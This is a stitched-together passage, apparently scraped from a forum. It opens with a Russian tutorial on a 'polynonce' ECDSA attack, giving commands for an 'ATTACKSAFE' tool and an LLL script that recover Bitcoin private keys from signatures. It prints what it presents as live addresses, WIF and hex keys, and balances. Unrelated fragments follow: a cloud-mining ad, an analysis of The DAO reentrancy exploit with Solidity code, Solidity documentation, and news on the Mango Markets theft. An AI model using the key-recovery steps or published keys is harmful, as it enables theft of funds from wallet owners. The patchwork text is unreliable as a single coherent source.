раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2 WIF: L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo HEX: ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2 BALANCE: $ 1133.73 Рассмотрим остальные примеры: №3 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98 RawTX 01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000 !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt Запустим -tool polynonce_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool polynonce_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py Результат: POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72 POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18 Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты 128 bits так как первоначальные бит приватного ключа к Биткоин Кошельку начинается с Binary number (4 digits): "1111" // Hex number: "F" // Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt WIF: L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY HEX: fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt BALANCE: $ 459.24 Literature: A Novel Related Nonce Attack for ECDSA, Marco Macchetti [Kudelski Security, Switzerland] (2023) Gallant, Robert P., Robert J. Lambert, and Scott A. Wanston. “Faster point multiplication on elliptic curves with efficient endomorphisms” . Annual International Conference on Cryptology, pp. 190–200. Springer, Berlin, Heidelberg, (2001) Hankerson, Darrell, Alfred J. Menezes, and Scott Wanston. “A Guide to Elliptic Curve Cryptography” . Computer Reviews 46, no. 1 (2005) Hal Finney. bitcointalk – “Acceleration of signature verification” . (2011) https://bitcointalk.org/index.php?topic=3238.0 Blahut, Richard E. “Cryptography and Secure Communication” . Cambridge University Press, (2014) Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/7nKs_KHtyn4 Источник: https://cryptodeep.ru/polynonce-attack Криптоанализ
  23. Облачный майнинг. Как это работает? Представляет собой он добычу криптовалют, путем аренды мощностей без покупки собственного оборудования для майнинга, что сильно упрощает сам процесс. Ведь в этом случае, вам: ‒ не нужно тратить огромные деньги на закупку специального оборудования, ‒ не нужно заниматься вопросом его размещения, ‒ не нужно нести дополнительных трат за электроэнергию, Вы просто платите фиксированную сумму за пользование чужими видеокартами или процессорами! Тем более тут есть профессионалы, которые подскажут и помогут в этом разобраться. Если вникнуть более глубже во внутренние процессы то, суть майнинга заключается в том, чтобы «найти» или «добыть» новый блок крипты путем ресурсоемких вычислений, где каждый перевод в сети подтверждается и записывается в блок, который затем добавляется в единую «цепочку» (блокчейн). Эти вычисления одновременно производят наши майнеры на специальном оборудовании. Вконтакте: https://vk.com/club219247932 Сайт: https://mining-digital.pro
  24. CRYPTO DEEP TECH In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended. This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO. A Multi-Stage Attack This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds. Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em): function splitDAO( uint _proposalID, address _newCurator ) noEther onlyTokenholders returns (bool _success) { ... // XXXXX Move ether and assign new Tokens. Notice how this is done first! uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once throw; ... // Burn DAO Tokens Transfer(msg.sender, 0, balances[msg.sender]); withdrawRewardFor(msg.sender); // be nice, and get his rewards // XXXXX Notice the preceding line is critically before the next few totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO paidOut[msg.sender] = 0; return true; } The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO. How does the DAO decide how many tokens to move? Using the balances array of course: uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time. The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable throw; paidOut[_account] += reward; return true; } If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called: function payOut(address _recipient, uint _amount) returns (bool) { if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) throw; if (_recipient.call.value(_amount)()) { // XXXXX vulnerable PayOut(_recipient, _amount); return true; } else { return false; } Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked! That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array. And so it goes: Propose a split and wait until the voting period expires. (DAO.sol, createProposal) Execute the split. (DAO.sol, splitDAO) Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy) Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut) While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient()) The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO) Back to (5)! Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-). (Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely) Armed with this, we can provide a step by step re-trace of how The DAO got emptied out. Step 1: Proposing the Split The first step towards all of the above is to simply propose a regular split, as we’ve mentioned. The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”. Because of this line: // The minimum debate period that a split proposal can have uint constant minSplitDebatePeriod = 1 weeks; he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right? Step 2: Getting the Reward As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated). As we mentioned in the overview, the critical lines that need to run here are: function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; paidOut[_account] += reward; return true; } If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously). Let’s deconstruct the first if statement: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) The balanceOf function is defined in Token.sol, and of course does exactly this: return balances[_owner]; The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol: // The sum of ether (in wei) which has been sent to this contract uint public accumulatedInput; Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account! function() { accumulatedInput += msg.value; } Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie. But do they actually need to include a reward? Let’s look at the line again: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) What if the reward account balance is 0? Then we get if (0 < paidOut[_account]) If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0) where that first part is actually how much is being paid out. So the check is actually: if (amountToBePaid < 0) But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one! Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0. Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust. Step 3: The Big Short A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit. It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely. Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to. Step 3a: Preventing Exit (Resistance is Futile) Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds. Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own. Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment. Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed. Step 4: Executing the Split So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d. The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there). Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there. Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article. In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis. Step 4a: Extending the Split This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account. Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO: function splitDAO( .... withdrawRewardFor(msg.sender); // be nice, and get his rewards totalSupply -= balances[msg.sender]; balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true; } So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function: function transfer(address _to, uint256 _amount) noEther returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; ... By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration. The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary. Was 1.1 Vulnerable? Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes. Check out the updated function (especially the marked lines): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; reward = rewardAccount.balance < reward ? rewardAccount.balance : reward; paidOut[_account] += reward; // XXXXX if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; return true; } Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line: uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to _recipient.call() Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance. Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits. An Important Takeaway I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended. In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy. I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable. For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one. Solidity Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state. Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section. Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features. With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets. When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change. Warning Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`. Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details. Hint You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format. Getting Started 1. Understand the Smart Contract Basics If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following: :ref:`A simple example smart contract <simple-smart-contract>` written in Solidity. :ref:`Blockchain Basics <blockchain-basics>`. :ref:`The Ethereum Virtual Machine <the-ethereum-virtual-machine>`. 2. Get to Know Solidity Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language. 3. Install the Solidity Compiler There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`. Hint You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally. Warning As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section. 4. Learn More If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks. If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel. Translations Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference. You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language. Chinese French Indonesian Japanese Korean Persian Russian Spanish Turkish Note We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations. Contents Basic concepts To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function. In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well. Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes. When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract. The attack The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes. Fallback function A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]: a. If none of the functions of the call to the contract match any of the functions in the called contract b. When the contract receives ether without extra data c. If no data was supplied Example The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO. The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows: The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack). The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable. In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated. One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished. The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract. Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet. The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it. Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt. The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal. “We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief. On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury. The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject. The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency. The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether. So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist. Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account. Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency. Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible. Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident? Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money. The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan? Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist). In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law. And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action. Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming 